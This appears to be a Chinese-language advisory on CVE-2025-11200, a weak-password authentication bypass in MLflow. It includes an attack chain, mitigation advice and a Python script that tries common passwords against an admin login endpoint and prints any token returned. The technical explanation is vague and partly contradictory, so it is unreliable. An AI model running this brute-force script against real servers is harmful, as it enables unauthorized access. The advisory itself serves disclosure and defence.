CVE-2025-11200: MLflow弱密码要求导致认证绕过漏洞

漏洞信息

漏洞编号

CVE-2025-11200

漏洞类型

认证绕过

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

MLflow

漏洞概述

CVE-2025-11200是MLflow中的一个严重安全漏洞，CVSS评分高达9.8，属于关键级别（CRITICAL）漏洞。该漏洞源于MLflow在处理用户密码时的弱密码要求设计缺陷，允许未经身份验证的远程攻击者完全绕过系统认证机制。攻击者可以利用此漏洞以管理员权限访问MLflow平台，进而控制整个机器学习生命周期管理环境。由于MLflow通常用于管理企业级机器学习实验、模型注册和部署流程，一旦被攻击者利用，可能导致敏感机器学习模型、训练数据、实验结果的泄露，甚至可能通过MLflow服务器作为跳板进一步渗透内部网络。该漏洞无需任何用户交互即可被利用，且可通过网络远程发起攻击，严重威胁使用MLflow的企业安全。

技术细节

该漏洞的根本原因在于MLflow在密码策略实现上存在严重缺陷。攻击者利用弱密码要求这一安全设计问题，可以构造特定格式的密码或使用常见弱密码组合来绕过认证检查。具体来说，MLflow在密码验证逻辑中未实施足够的强度检查和输入验证，允许攻击者通过暴力破解或猜测简单密码的方式获取有效会话。此外，漏洞存在于密码处理模块（handling of passwords），攻击者可通过发送精心构造的认证请求，利用认证机制中的缺陷直接通过验证。ZDI（Zero Day Initiative）将此漏洞编号为ZDI-CAN-26916，表明这是一个已被公开披露的零日漏洞。由于该漏洞无需预先获取任何凭据即可利用，攻击者可以直接对暴露在网络中的MLflow服务发起攻击，成功绕过认证后即可访问所有受保护资源和功能。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者首先识别暴露在网络中的MLflow服务实例，通过端口扫描或搜索引擎发现目标系统

STEP 2

步骤2: 漏洞探测

攻击者向MLflow认证接口发送测试请求，验证弱密码要求漏洞是否存在

STEP 3

步骤3: 密码猜测/暴力破解

利用MLflow的弱密码策略，使用常见弱密码列表或暴力破解方式尝试获取有效认证凭据

STEP 4

步骤4: 认证绕过

通过发送精心构造的认证请求，利用密码验证逻辑缺陷成功绕过认证机制

STEP 5

步骤5: 获取访问权限

成功绕过认证后，攻击者获取有效的访问令牌（access_token），获得系统完全访问权限

STEP 6

步骤6: 数据窃取/持久化

攻击者访问敏感机器学习模型、训练数据、实验结果，或植入后门实现持久化控制

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-11200 MLflow Authentication Bypass PoC
# This PoC demonstrates the weak password requirement vulnerability
# Use responsibly and only on systems you have permission to test

import requests
import sys

TARGET_URL = "http://target-mlflow-server:5000"

def test_auth_bypass():
    """
    Test for CVE-2025-11200: MLflow weak password authentication bypass
    The vulnerability allows bypassing authentication due to weak password requirements
    """
    
    # Common weak passwords to test
    weak_passwords = [
        "password",
        "123456",
        "admin",
        "mlflow",
        "12345678",
        "qwerty",
        "admin123",
        ""
    ]
    
    login_endpoint = f"{TARGET_URL}/api/2.0/mlflow/authentication/login"
    
    print(f"[*] Testing MLflow authentication bypass vulnerability...")
    print(f"[*] Target: {TARGET_URL}")
    
    for password in weak_passwords:
        payload = {
            "username": "admin",
            "password": password
        }
        
        try:
            response = requests.post(login_endpoint, json=payload, timeout=10)
            
            if response.status_code == 200:
                data = response.json()
                if data.get("access_token"):
                    print(f"[!] VULNERABLE: Authentication bypassed with password: '{password}'")
                    print(f"[!] Access token obtained: {data.get('access_token')[:20]}...")
                    return True
            else:
                print(f"[-] Password '{password}' failed")
        except Exception as e:
            print(f"[!] Error testing password '{password}': {e}")
    
    print("[*] No weak password found, but vulnerability may still exist")
    return False

if __name__ == "__main__":
    test_auth_bypass()

影响范围

MLflow 所有版本（在该漏洞修复之前）

防御指南

临时缓解措施

在等待官方安全更新期间，建议采取以下临时缓解措施：1) 通过防火墙或安全组限制MLflow服务的网络访问，仅允许授权用户和系统访问；2) 临时禁用不必要的用户账户，特别是使用弱密码的账户；3) 启用详细的认证日志记录，便于及时发现异常访问行为；4) 考虑使用VPN或零信任网络访问方案替代直接暴露的MLflow服务；5) 定期检查官方安全公告，关注最新的漏洞修复进展。